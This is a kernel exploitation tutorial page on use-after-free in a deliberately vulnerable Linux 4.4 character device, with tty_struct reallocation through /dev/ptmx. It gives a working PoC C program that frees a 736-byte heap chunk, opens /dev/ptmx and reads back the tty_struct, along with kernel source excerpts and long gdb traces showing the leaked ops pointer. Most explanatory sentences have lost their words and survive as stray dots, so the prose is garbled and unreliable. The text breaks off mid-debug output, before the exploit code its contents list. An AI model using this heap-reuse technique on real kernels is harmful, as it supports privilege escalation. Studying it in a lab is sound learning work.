

07.Use-After-Free(UAF) (feat.tty_struct)

Unknown macro: 'html'

Excuse the ads! We need some help to keep our site up.

Unknown macro: 'html'

List

- 07.Use-After-Free(UAF) (feat.tty_struct)
 - Use-After-Free(UAF)
 - kmalloc, kfree
 - struct tty_struct
 - ptmx
 - kcalloc
 - Example
 - Source code of module
 - Build & Setting
 - Proof of Concept
 - PoC code
 - Debug
 - Exploit method
 - Size of "cred" structure
 - Exploit code
 - References

07.Use-After-Free(UAF) (feat.tty_struct)

- 06.Use-After-Free(UAF) (feat.struct cred) "struct cred" .
 - struct tty_struct .

Use-After-Free(UAF)

- first-fit(Use-After-Free)[Korean]

CWE-416: Use After Free

- <https://cwe.mitre.org/data/definitions/416.html>
- <https://www.cvedetails.com/cwe-details/416/cwe.html>
- <https://www.cvedetails.com/vulnerability-list/cweid-416/vulnerabilities.html>

kmalloc, kfree

- 06.Use-After-Free(UAF) (feat.struct cred)-kmalloc,kfree

struct tty_struct

- tty_struct tty tty .
 - tty .
- UAF *ops .
 - tty_operation .
 - .(ret2user)
 - UAF *ops " tty_operation "
 - 04.Write-what-where(Arbitrary Memory Overwrite)(feat.ret2usr) "tty_operation Exploit" .
-

```
struct tty_struct {
    int          magic;
    struct kref kref;
    struct device *dev;
    struct tty_driver *driver;
    const struct tty_operations *ops;
    int index;

    /* Protects ldisc changes: Lock tty not pty */
    struct ld_semaphore ldisc_sem;
    struct tty_ldisc *ldisc;

    struct mutex atomic_write_lock;
    struct mutex legacy_mutex;
    struct mutex throttle_mutex;
    struct rw_semaphore termios_rwsem;
    struct mutex winsize_mutex;
    spinlock_t ctrl_lock;
    spinlock_t flow_lock;
    /* Termios values are protected by the termios rwsem */
    struct ktermios termios, termios_locked;
    struct termiox *termiox; /* May be NULL for unsupported */
    char name[64];
    struct pid *pgrp; /* Protected by ctrl lock */
    struct pid *session;
    unsigned long flags;
    int count;
    struct winsize winsize; /* winsize_mutex */
    unsigned long stopped:1, /* flow_lock */
                flow_stopped:1,
                unused:BITS_PER_LONG - 2;
    int hw_stopped;
    unsigned long ctrl_status:8, /* ctrl_lock */
                packet:1,
                unused_ctrl:BITS_PER_LONG - 9;
    unsigned int receive_room; /* Bytes free for queue */
    int flow_change;

    struct tty_struct *link;
    struct fasync_struct *fasync;
    int alt_speed; /* For magic substitution of 38400 bps */
    wait_queue_head_t write_wait;
    wait_queue_head_t read_wait;
    struct work_struct hangup_work;
    void *disc_data;
    void *driver_data;
    struct list_head tty_files;

#define N_TTY_BUF_SIZE 4096

    int closing;
    unsigned char *write_buf;
    int write_cnt;
    /* If the tty has a pending do_SAK, queue it here - akpm */
    struct work_struct SAK_work;
    struct tty_port *port;
};
```

ptmx

- PoC `ptmx_open()` .
 - `ptmx_open()` `tty_struct` .
 - `struct tty_struct *tty;`
 - `tty_init_dev()` .

- `tty = tty_init_dev(ptm_driver, index);`

<https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/pty.c#L734>

```
static int ptmx_open(struct inode *inode, struct file *filp)
{
    struct tty_struct *tty;
    struct inode *slave_inode;
    int retval;
    int index;

    nonseekable_open(inode, filp);

    /* We refuse fsnotify events on ptmx, since it's a shared resource */
    filp->f_mode |= FMODE_NONOTIFY;

    retval = tty_alloc_file(filp);
    if (retval)
        return retval;

    /* find a device that is not in use. */
    mutex_lock(&devpts_mutex);
    index = devpts_new_index(inode);
    if (index < 0) {
        retval = index;
        mutex_unlock(&devpts_mutex);
        goto err_file;
    }

    mutex_unlock(&devpts_mutex);

    mutex_lock(&tty_mutex);
    tty = tty_init_dev(ptm_driver, index);

    if (IS_ERR(tty)) {
        retval = PTR_ERR(tty);
        goto out;
    }

    /* The tty returned here is locked so we can safely
       drop the mutex */
    mutex_unlock(&tty_mutex);
    ...
}
```

- `tty_init_dev()` .
 - `tty_struct` , `tty_init_dev()` .
 - `struct tty_struct *tty;`
 - `tty = tty_init_dev(ptm_driver, index);`

https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/tty_io.c#L1506

```
struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
    struct tty_struct *tty;
    int retval;

    /*
     * First time open is complex, especially for PTY devices.
     * This code guarantees that either everything succeeds and the
     * TTY is ready for operation, or else the table slots are vacated
     * and the allocated memory released. (Except that the termios
     * and locked termios may be retained.)
     */

    if (!try_module_get(driver->owner))
        return ERR_PTR(-ENODEV);

    tty = alloc_tty_struct(driver, idx);
    if (!tty) {
        retval = -ENOMEM;
        goto err_module_put;
    }

    tty_lock(tty);
    retval = tty_driver_install_tty(driver, tty);
    ...
}
```

- **tty_init_dev()** .
 - **tty_struct** .
 - **kzalloc()** **Heap** .
 - **tty_struct** **Heap** .
 - **, Heap UAF** .

https://elixir.bootlin.com/linux/v4.4/source/drivers/tty/tty_io.c#L3105

```
struct tty_struct *alloc_tty_struct(struct tty_driver *driver, int idx)
{
    struct tty_struct *tty;

    tty = kzalloc(sizeof(*tty), GFP_KERNEL);
    if (!tty)
        return NULL;

    kref_init(&tty->kref);
    tty->magic = TTY_MAGIC;
    tty_ldisc_init(tty);
    tty->session = NULL;
    tty->pgrp = NULL;
    ...
}
```

kzalloc

- **kzalloc()** **kmalloct()** **Kernel Heap** , **0** .
- **kzalloc()** .
 - **(Heap)** .
 - **(Heap)** .
 - **Kernel ram** **GFP_KERNEL** flag .



- <https://www.kernel.org/doc/html/docs/kernel-api/API-kzalloc.html>

Example

Source code of module

- [06.Use-After-Free\(UAF\) \(feat.struct cred\) - Source code of module](#)

Build & Setting

- [06.Use-After-Free\(UAF\) \(feat.struct cred\) - Build & Setting](#)

Proof of Concept

PoC code

- "UAF" .
 - open() "/dev/chardev0" , fd1 .
 - ioctl() 736 byte Heap .
 - ioctl() Heap .
 - open() "/dev/ptmx" , fd_tty .
 - read() .
 - Kernel heap .
 - , UAF .

PoC-3.c

```
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdint.h>
#include "chardev.h"

#define DEVICE_FILE_NAME "/dev/chardev0"
#define HEAP_SIZE 736

int main(){

    int fd1,fd_tty,i,j;
    char info[HEAP_SIZE];

    if ((fd1 = open(DEVICE_FILE_NAME, O_RDWR)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    ioctl(fd1, KMALLOC, HEAP_SIZE);
    ioctl(fd1, KFREE);

    if ((fd_tty = open("/dev/ptmx", O_RDWR|O_NOCTTY)) < 0){
        printf("Cannot open /dev/chardev0. Try again later.\n");
    }

    memset(info, 0, HEAP_SIZE);
    read(fd1, info, HEAP_SIZE - 1);

    for (i = 0; i < 46; i++)
    {
        for (j = 0; j < 16; j++) printf("%02x ", info[i*16+j] & 0xff);
        printf(" | ");
        for (j = 0; j < 16; j++) printf("%c", info[i*16+j] & 0xff);
        printf("\n");
    }

    if (close(fd1) != 0){
        printf("Cannot close.\n");
    }

    if (close(fd_tty) != 0){
        printf("Cannot close.\n");
    }
    return 0;
}
```

Debug

- .
 - chardev_open : 0xffffffffc01a4020
 - alloc_tty_struct : 0xffffffff814c6e30

Address of the chardev module

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep chardev
ffffffffffc01a4000 t chardev_release      [chardev]
ffffffffffc01a4020 t chardev_open        [chardev]
ffffffffffc01a6480 b info                 [chardev]
ffffffffffc01a4060 t chardev_write       [chardev]
ffffffffffc01a40c0 t chardev_read        [chardev]
ffffffffffc01a4120 t chardev_ioctl      [chardev]
ffffffffffc01a4210 t chardev_init        [chardev]
ffffffffffc01a64a0 b chardev_cdev        [chardev]
ffffffffffc01a6508 b chardev_major      [chardev]
ffffffffffc01a6480 b __key.25752         [chardev]
ffffffffffc01a6490 b chardev_class      [chardev]
ffffffffffc01a4350 t chardev_exit        [chardev]
ffffffffffc01a6100 d __this_module      [chardev]
ffffffffffc01a4350 t cleanup_module     [chardev]
ffffffffffc01a4210 t init_module        [chardev]
ffffffffffc01a6000 d s_chardev_fops      [chardev]
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ sudo cat /proc/kallsyms |grep alloc_tty_struct
ffffffffff814c6e30 T alloc_tty_struct
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$
```

- **breakpointer .**
 - `kmalloc()` : `0xffffffffc01a41c5`
 - `kmalloc()` : `0xffffffffc01a41ca`
 - `kfree()` : `0xffffffffc01a419d`
 - `kfree()` : `0xffffffffc01a41a2`
 - `kmem_cache_alloc_trace()` : `0xffffffff814c6e59`
 - `kmem_cache_alloc_trace()` : `0xffffffff814c6e5e`

Breakpoint

```
0x0000000001000200 in ?? ()
(gdb) c
Continuing.
^C
Program received signal SIGINT, Interrupt.
native_safe_halt () at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h:50
50      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/arch/x86/include/asm/irqflags.h: No such file
or directory.
(gdb) x/50i 0xffffffffc01a4120
0xffffffffc01a4120:    nop        DWORD PTR [rax+rax*1+0x0]
0xffffffffc01a4125:    push      rbp
0xffffffffc01a4126:    xor       eax,eax
0xffffffffc01a4128:    mov       rdi,0xffffffffc01a50e8
0xffffffffc01a412f:    mov       rbp,rsi
0xffffffffc01a4132:    push      r12
0xffffffffc01a4134:    mov       r12,rdx
0xffffffffc01a4137:    push      rbx
0xffffffffc01a4138:    mov       ebx,esi
0xffffffffc01a413a:    call     0xffffffff81180972 <printk>
0xffffffffc01a413f:    cmp       ebx,0x4700
0xffffffffc01a4145:    je        0xffffffffc01a417c
0xffffffffc01a4147:    cmp       ebx,0x40084704
0xffffffffc01a414d:    je        0xffffffffc01a416b
0xffffffffc01a414f:    mov       esi,ebx
0xffffffffc01a4151:    mov       rdi,0xffffffffc01a51dd
0xffffffffc01a4158:    xor       eax,eax
0xffffffffc01a415a:    call     0xffffffff81180972 <printk>
0xffffffffc01a415f:    mov       rax,0xffffffffffffffff
0xffffffffc01a4166:    pop       rbx
0xffffffffc01a4167:    pop       r12
0xffffffffc01a4169:    pop       rbp
0xffffffffc01a416a:    ret
0xffffffffc01a416b:    cmp       QWORD PTR [rip+0x2315],0x0      # 0xffffffffc01a6488
0xffffffffc01a4173:    je        0xffffffffc01a41a6
0xffffffffc01a4175:    pop       rbx
```

```

0xffffffffc01a4176:      pop     r12
0xffffffffc01a4178:      xor     eax,eax
0xffffffffc01a417a:      pop     rbp
0xffffffffc01a417b:      ret
0xffffffffc01a417c:      mov     rsi,QWORD PTR [rip+0x2305]      # 0xffffffffc01a6488
0xffffffffc01a4183:      test    rsi,rsi
0xffffffffc01a4186:      je      0xffffffffc01a4175
0xffffffffc01a4188:      mov     rdi,0xffffffffc01a5118
0xffffffffc01a418f:      xor     eax,eax
0xffffffffc01a4191:      call    0xffffffff81180972 <printk>
0xffffffffc01a4196:      mov     rdi,QWORD PTR [rip+0x22eb]      # 0xffffffffc01a6488
0xffffffffc01a419d:      call    0xffffffff811dd600 <kfree>
0xffffffffc01a41a2:      xor     eax,eax
0xffffffffc01a41a4:      jmp     0xffffffffc01a4166
0xffffffffc01a41a6:      xor     esi,esi
0xffffffffc01a41a8:      mov     rdi,0xffffffffc01a51b1
0xffffffffc01a41af:      xor     eax,eax
0xffffffffc01a41b1:      call    0xffffffff81180972 <printk>
0xffffffffc01a41b6:      mov     esi,0x24000c0
0xffffffffc01a41bb:      mov     rdi,r12
0xffffffffc01a41be:      mov     QWORD PTR [rip+0x22bb],r12      # 0xffffffffc01a6480
0xffffffffc01a41c5:      call    0xffffffff811dcbe0 <__kmalloc>
0xffffffffc01a41ca:      test    rax,rax
0xffffffffc01a41cd:      mov     QWORD PTR [rip+0x22b4],rax      # 0xffffffffc01a6488
(gdb) b *0xffffffffc01a41c5
Breakpoint 1 at 0xffffffffc01a41c5
(gdb) b *0xffffffffc01a41ca
Breakpoint 2 at 0xffffffffc01a41ca
(gdb) b *0xffffffffc01a419d
Breakpoint 3 at 0xffffffffc01a419d
(gdb) b *0xffffffffc01a41a2
Breakpoint 4 at 0xffffffffc01a41a2
(gdb) x/50i 0xffffffff814c6e30
0xffffffff814c6e30 <alloc_tty_struct>:      nop     DWORD PTR [rax+rax*1+0x0]
0xffffffff814c6e35 <alloc_tty_struct+5>:      push    rbp
0xffffffff814c6e36 <alloc_tty_struct+6>:      mov     edx,0x2e0
0xffffffff814c6e3b <alloc_tty_struct+11>:      mov     rbp,rsi
0xffffffff814c6e3e <alloc_tty_struct+14>:      push    r13
0xffffffff814c6e40 <alloc_tty_struct+16>:      mov     r13d,esi
0xffffffff814c6e43 <alloc_tty_struct+19>:      mov     esi,0x24080c0
0xffffffff814c6e48 <alloc_tty_struct+24>:      push    r12
0xffffffff814c6e4a <alloc_tty_struct+26>:      mov     r12,rdi
0xffffffff814c6e4d <alloc_tty_struct+29>:      push    rbx
0xffffffff814c6e4e <alloc_tty_struct+30>:      sub     rsp,0x8
0xffffffff814c6e52 <alloc_tty_struct+34>:      mov     rdi,QWORD PTR [rip+0xaff1b7]      #
0xffffffff81fc6010 <kmalloc_caches+80>
0xffffffff814c6e59 <alloc_tty_struct+41>:      call    0xffffffff811dbd70 <kmem_cache_alloc_trace>
0xffffffff814c6e5e <alloc_tty_struct+46>:      test    rax,rax
0xffffffff814c6e61 <alloc_tty_struct+49>:      mov     rbx,rax
0xffffffff814c6e64 <alloc_tty_struct+52>:      je      0xffffffff814c7040 <alloc_tty_struct+528>
0xffffffff814c6e6a <alloc_tty_struct+58>:      mov     rdi,rax
0xffffffff814c6e6d <alloc_tty_struct+61>:      mov     DWORD PTR [rax+0x4],0x1
0xffffffff814c6e74 <alloc_tty_struct+68>:      mov     DWORD PTR [rax],0x5401
0xffffffff814c6e7a <alloc_tty_struct+74>:      call    0xffffffff814cd930 <tty_ldisc_init>
0xffffffff814c6e7f <alloc_tty_struct+79>:      lea     rdi,[rbx+0x88]
0xffffffff814c6e86 <alloc_tty_struct+86>:      mov     rdx,0xffffffff81fe322c
0xffffffff814c6e8d <alloc_tty_struct+93>:      mov     rsi,0xffffffff81b0a856
0xffffffff814c6e94 <alloc_tty_struct+100>:      mov     QWORD PTR [rbx+0xd8],0x0
0xffffffff814c6e9f <alloc_tty_struct+111>:      mov     QWORD PTR [rbx+0xd0],0x0
0xffffffff814c6eaa <alloc_tty_struct+122>:      call    0xffffffff810c3f20 <__mutex_init>
0xffffffff814c6eaf <alloc_tty_struct+127>:      lea     rdi,[rbx+0xb0]
0xffffffff814c6eb6 <alloc_tty_struct+134>:      mov     rdx,0xffffffff81fe322c
0xffffffff814c6ebd <alloc_tty_struct+141>:      mov     rsi,0xffffffff81b0a869
0xffffffff814c6ec4 <alloc_tty_struct+148>:      call    0xffffffff810c3f20 <__mutex_init>
0xffffffff814c6ec9 <alloc_tty_struct+153>:      lea     rdi,[rbx+0xd8]
0xffffffff814c6ed0 <alloc_tty_struct+160>:      mov     rdx,0xffffffff81fe322c
0xffffffff814c6ed7 <alloc_tty_struct+167>:      mov     rsi,0xffffffff81b0a87e
0xffffffff814c6ede <alloc_tty_struct+174>:      call    0xffffffff810c5eb0 <__init_rwsem>
0xffffffff814c6ee3 <alloc_tty_struct+179>:      lea     rdi,[rbx+0x100]
0xffffffff814c6eea <alloc_tty_struct+186>:      mov     rdx,0xffffffff81fe322c
0xffffffff814c6ef1 <alloc_tty_struct+193>:      mov     rsi,0xffffffff81b0a892

```



```

0xffffffff814c6ef8 <alloc_tty_struct+200>:    call    0xffffffff810c3f20 <__mutex_init>
0xffffffff814c6efd <alloc_tty_struct+205>:    lea     rdi,[rbx+0x28]
0xffffffff814c6f01 <alloc_tty_struct+209>:    mov     rdx,0xffffffff81fe322c
0xffffffff814c6f08 <alloc_tty_struct+216>:    mov     rsi,0xffffffff81b0a8a6
0xffffffff814c6f0f <alloc_tty_struct+223>:    call    0xffffffff814cf0f0 <__init_ldsem>
0xffffffff814c6f14 <alloc_tty_struct+228>:    lea     rdi,[rbx+0x230]
0xffffffff814c6f1b <alloc_tty_struct+235>:    mov     rdx,0xffffffff81fe322c
0xffffffff814c6f22 <alloc_tty_struct+242>:    mov     rsi,0xffffffff81b0a8b6
0xffffffff814c6f29 <alloc_tty_struct+249>:    call    0xffffffff810bd4b0 <__init_waitqueue_head>
0xffffffff814c6f2e <alloc_tty_struct+254>:    lea     rdi,[rbx+0x248]
0xffffffff814c6f35 <alloc_tty_struct+261>:    mov     rdx,0xffffffff81fe322c
0xffffffff814c6f3c <alloc_tty_struct+268>:    mov     rsi,0xffffffff81b0a8c7
0xffffffff814c6f43 <alloc_tty_struct+275>:    call    0xffffffff810bd4b0 <__init_waitqueue_head>
(gdb) b *0xffffffff814c6e59
Breakpoint 5 at 0xffffffff814c6e59: file /build/linux-lts-xenial-gUf4JR/linux-lts-xenial-4.4.0/include/linux
/slab.h, line 458.
(gdb) b *0xffffffff814c6e5e
Breakpoint 6 at 0xffffffff814c6e5e: file /build/linux-lts-xenial-gUf4JR/linux-lts-xenial-4.4.0/drivers/tty
/tty_io.c, line 3142.
(gdb) c
Continuing.

```

- "PoC" .

Run the user program

```
lazenca0x0@ubuntu:~/Kernel/Exploit/UAF$ ./PoC-3
```

- **kmalloc()** .
 - kernel 736 byte Heap .
 - 0xffff88003a9c5c00 .

Call kmalloc()

```

Breakpoint 1, 0xffffffffc01a41c5 in ?? ()
(gdb) x/2i $rip
=> 0xffffffffc01a41c5:    call    0xffffffff811dcbe0 <__kmalloc>
    0xffffffffc01a41ca:    test    rax,rax
(gdb) i r rdi rsi
rdi             0x2e0             736
rsi             0x24000c0         37748928
(gdb) c
Continuing.

Breakpoint 2, 0xffffffffc01a41ca in ?? ()
(gdb) i r rax
rax             0xffff88003a9c5c00 -131940412007424
(gdb) c
Continuing.

```

- **kfree()** .
 - kfree() Heap , .

Call kfree()

Breakpoint 3, 0xfffffffffc01a419d in ?? ()

(gdb) x/2i \$rip

=> 0xfffffffffc01a419d: call 0xffffffff811dd600 <kfree>

0xfffffffffc01a41a2: xor eax, eax

(gdb) i r rdi

rdi 0xffff88003a9c5c00 -131940412007424

(gdb) x/50gx 0xffff88003a9c5c00

0xffff88003a9c5c00:	0x0000000000000000	0x0000202100000000
0xffff88003a9c5c10:	0x0000011a01e0000b	0x000002ea00000127
0xffff88003a9c5c20:	0x0000000001e0000b	0x000b001900000000
0xffff88003a9c5c30:	0x0000000004200115	0x0420011500002021
0xffff88003a9c5c40:	0x000001270000011a	0x04200115000002ea
0xffff88003a9c5c50:	0x0000000000000000	0x01c01cbb000b0019
0xffff88003a9c5c60:	0x0000202100000000	0x0000011a01c01cbb
0xffff88003a9c5c70:	0x000002ea00000127	0x0000000001c01cbb
0xffff88003a9c5c80:	0x000b001900000000	0x0000000001c00085
0xffff88003a9c5c90:	0x01c0008500002021	0x000001270000011a
0xffff88003a9c5ca0:	0x01c00085000002ea	0x0000000000000000
0xffff88003a9c5cb0:	0x01c01c6d000b0019	0x0000202100000000
0xffff88003a9c5cc0:	0x0000011a01c01c6d	0x000002ea00000127
0xffff88003a9c5cd0:	0x0000000001c01c6d	0x000b001900000000
0xffff88003a9c5ce0:	0x0000000001c02ef6	0x01c02ef600002021
0xffff88003a9c5cf0:	0x000001270000011a	0x01c02ef6000002ea
0xffff88003a9c5d00:	0x0000000000000000	0xaaac6b6f97def279
0xffff88003a9c5d10:	0x000049604e0110b0	0xb57e10000a080101
0xffff88003a9c5d20:	0x0a050101adcd1633	0xaaac6b6f86aecb6f
0xffff88003a9c5d30:	0x0000000000000000	0x0000000000000000
0xffff88003a9c5d40:	0x0000000000000000	0xffff88003a9c5d48
0xffff88003a9c5d50:	0xffff88003a9c5d48	0xffff88003a9c5d58
0xffff88003a9c5d60:	0xffff88003a9c5d58	0xffff88003a9c5d68
0xffff88003a9c5d70:	0xffff88003a9c5d68	0xffff88003a9c5d78
0xffff88003a9c5d80:	0xffff88003a9c5d78	0x0000000000000000

(gdb) c

Continuing.

Breakpoint 4, 0xfffffffffc01a41a2 in ?? ()

(gdb) x/50gx 0xffff88003a9c5c00

0xffff88003a9c5c00:	0x0000000000000000	0x0000202100000000
0xffff88003a9c5c10:	0x0000011a01e0000b	0x000002ea00000127
0xffff88003a9c5c20:	0x0000000001e0000b	0x000b001900000000
0xffff88003a9c5c30:	0x0000000004200115	0x0420011500002021
0xffff88003a9c5c40:	0x000001270000011a	0x04200115000002ea
0xffff88003a9c5c50:	0x0000000000000000	0x01c01cbb000b0019
0xffff88003a9c5c60:	0x0000202100000000	0x0000011a01c01cbb
0xffff88003a9c5c70:	0x000002ea00000127	0x0000000001c01cbb
0xffff88003a9c5c80:	0x000b001900000000	0x0000000001c00085
0xffff88003a9c5c90:	0x01c0008500002021	0x000001270000011a
0xffff88003a9c5ca0:	0x01c00085000002ea	0x0000000000000000
0xffff88003a9c5cb0:	0x01c01c6d000b0019	0x0000202100000000
0xffff88003a9c5cc0:	0x0000011a01c01c6d	0x000002ea00000127
0xffff88003a9c5cd0:	0x0000000001c01c6d	0x000b001900000000
0xffff88003a9c5ce0:	0x0000000001c02ef6	0x01c02ef600002021
0xffff88003a9c5cf0:	0x000001270000011a	0x01c02ef6000002ea
0xffff88003a9c5d00:	0x0000000000000000	0xaaac6b6f97def279
0xffff88003a9c5d10:	0x000049604e0110b0	0xb57e10000a080101
0xffff88003a9c5d20:	0x0a050101adcd1633	0xaaac6b6f86aecb6f
0xffff88003a9c5d30:	0x0000000000000000	0x0000000000000000
0xffff88003a9c5d40:	0x0000000000000000	0xffff88003a9c5d48
0xffff88003a9c5d50:	0xffff88003a9c5d48	0xffff88003a9c5d58
0xffff88003a9c5d60:	0xffff88003a9c5d58	0xffff88003a9c5d68
0xffff88003a9c5d70:	0xffff88003a9c5d68	0xffff88003a9c5d78
0xffff88003a9c5d80:	0xffff88003a9c5d78	0x0000000000000000

(gdb) c

Continuing.

- UAF .

- kmem_cache_alloc_trace() Heap 0x2e0(736) .
- kmem_cache_alloc_trace() Heap (0xffff88003a9c5c00) .

Call copy_to_user()

```
Breakpoint 5, 0xffffffff814c6e59 in kmalloc (flags=<optimized out>, size=<optimized out>) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h:458
458      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/include/linux/slab.h: No such file or directory.
(gdb) x/2i $rip
=> 0xffffffff814c6e59 <alloc_tty_struct+41>:      call    0xffffffff811dbd70 <kmem_cache_alloc_trace>
      0xffffffff814c6e5e <alloc_tty_struct+46>:      test    rax,rax
(gdb) i r rdi rsi rdx
rdi      0xffff88003f807500    -131940329949952
rsi      0x24080c0            37781696
rdx      0x2e0                736
(gdb) c
Continuing.

Breakpoint 6, alloc_tty_struct (driver=0xffff88003666be00, idx=15) at /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c:3142
3142      /build/linux-lts-xenial-gUF4JR/linux-lts-xenial-4.4.0/drivers/tty/tty_io.c: No such file or directory.
(gdb) i r rax
rax      0xffff88003a9c5c00    -131940412007424
(gdb) x/50gx 0xffff88003a9c5c00
0xffff88003a9c5c00:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c10:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c20:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c30:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c40:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c50:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c60:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c70:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c80:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5c90:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5ca0:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5cb0:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5cc0:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5cd0:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5ce0:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5cf0:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d00:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d10:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d20:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d30:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d40:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d50:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d60:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d70:      0x0000000000000000      0x0000000000000000
0xffff88003a9c5d80:      0x0000000000000000      0x0000000000000000
(gdb) c
Continuing.
```

- "struct tty_struct" .
 - "ops" .(ops = 0xffffffff818713c0)
 - , UAF "tty_struct" .

(struct tty_struct)0xffff88003a9c5c00

```
(gdb) p *(struct tty_struct*)0xffff88003a9c5c00
$11 = {magic = 21505, kref = {refcount = {counter = 2}}, dev = 0x0 <irq_stack_union>, driver =
0xffff88003666be00, ops = 0xffffffff818713c0 <ptm_unix98_ops>, index = 15,
  ldisc_sem = {count = 0, wait_lock = {raw_lock = {val = {counter = 0}}}, wait_readers = 0, read_wait = {next =
0xffff88003a9c5c38, prev = 0xffff88003a9c5c38}, write_wait = {
  next = 0xffff88003a9c5c48, prev = 0xffff88003a9c5c48}}, ldisc = 0xffff88002c5f9760, atomic_write_lock =
{count = {counter = 1}, wait_lock = {{rlock = {raw_lock = {
  val = {counter = 0}}}}}, wait_list = {next = 0xffff88003a9c5c68, prev = 0xffff88003a9c5c68}, owner
= 0x0 <irq_stack_union>, osq = {tail = {counter = 0}}},
  legacy_mutex = {count = {counter = 0}, wait_lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, wait_list
= {next = 0xffff88003a9c5c90, prev = 0xffff88003a9c5c90},
  owner = 0xffff88000e3b6e00, osq = {tail = {counter = 0}}}, throttle_mutex = {count = {counter = 1},
wait_lock = {{rlock = {raw_lock = {val = {counter = 0}}}}},
  wait_list = {next = 0xffff88003a9c5cb8, prev = 0xffff88003a9c5cb8}, owner = 0x0 <irq_stack_union>, osq =
{tail = {counter = 0}}}, termios_rwsem = {count = 0,
  wait_list = {next = 0xffff88003a9c5ce0, prev = 0xffff88003a9c5ce0}, wait_lock = {raw_lock = {val = {counter
= 0}}}, osq = {tail = {counter = 0}},
  owner = 0x0 <irq_stack_union>, winsize_mutex = {count = {counter = 1}, wait_lock = {{rlock = {raw_lock =
{val = {counter = 0}}}}}, wait_list = {
  next = 0xffff88003a9c5d08, prev = 0xffff88003a9c5d08}, owner = 0x0 <irq_stack_union>, osq = {tail =
{counter = 0}}, ctrl_lock = {{rlock = {raw_lock = {val = {
  counter = 0}}}}}, flow_lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, termios = {c_iflag =
0, c_oflag = 0, c_cflag = 0, c_lflag = 0, c_line = 0 '\000',
  c_cc = '\000' <repeats 18 times>, c_ispeed = 0, c_ospeed = 0}, termios_locked = {c_iflag = 0, c_oflag = 0,
c_cflag = 0, c_lflag = 0, c_line = 0 '\000',
  c_cc = '\000' <repeats 18 times>, c_ispeed = 0, c_ospeed = 0}, termiox = 0x0 <irq_stack_union>, name =
"ptm15", '\000' <repeats 58 times>, pgrp = 0x0 <irq_stack_union>,
  session = 0x0 <irq_stack_union>, flags = 0, count = 0, winsize = {ws_row = 0, ws_col = 0, ws_xpixel = 0,
ws_ypixel = 0}, stopped = 0, flow_stopped = 0, unused = 0,
  hw_stopped = 0, ctrl_status = 0, packet = 0, unused_ctrl = 0, receive_room = 0, flow_change = 0, link = 0x0
<irq_stack_union>, fasync = 0x0 <irq_stack_union>,
  alt_speed = 0, write_wait = {lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, task_list = {next =
0xffff88003a9c5e38, prev = 0xffff88003a9c5e38}}, read_wait = {
  lock = {{rlock = {raw_lock = {val = {counter = 0}}}}}, task_list = {next = 0xffff88003a9c5e50, prev =
0xffff88003a9c5e50}}, hangup_work = {data = {
  counter = 68719476704}, entry = {next = 0xffff88003a9c5e68, prev = 0xffff88003a9c5e68}, func =
0xffffffff814c5120 <do_tty_hangup>}, disc_data = 0x0 <irq_stack_union>,
  driver_data = 0x0 <irq_stack_union>, tty_files = {next = 0xffff88003a9c5e90, prev = 0xffff88003a9c5e90},
closing = 0, write_buf = 0x0 <irq_stack_union>, write_cnt = 0,
  SAK_work = {data = {counter = 68719476704}, entry = {next = 0xffff88003a9c5ec0, prev = 0xffff88003a9c5ec0},
func = 0xffffffff814c6e10 <do_SAK_work>},
  port = 0x0 <irq_stack_union>}
(gdb)
```

(struct file_operations)0xffffffff818713c0

```
(gdb) p *(struct file_operations*)0xffffffff818713c0
$12 = {owner = 0xffffffff814cf300 <ptm_unix98_lookup>, llseek = 0xffffffff814d0280 <pty_unix98_install>, read = 0xffffffff814cf320 <pty_unix98_remove>,
      write = 0xffffffff814cf230 <pty_open>, read_iter = 0xffffffff814cfbc0 <pty_close>, write_iter = 0xffffffff814cf5f0 <pty_unix98_shutdown>,
      iterate = 0xffffffff814cf5d0 <pty_cleanup>, poll = 0xffffffff814cf570 <pty_write>, unlocked_ioctl = 0x0 <irq_stack_union>, compat_ioctl = 0x0 <irq_stack_union>,
      mmap = 0xffffffff814cf7f0 <pty_write_room>, open = 0xffffffff814cf220 <pty_chars_in_buffer>, flush = 0xffffffff814cfb10 <pty_unix98_ioctl>,
      release = 0x0 <irq_stack_union>, fsync = 0x0 <irq_stack_union>, aio_fsync = 0x0 <irq_stack_union>, fasync = 0xffffffff814cf540 <pty_unthrottle>,
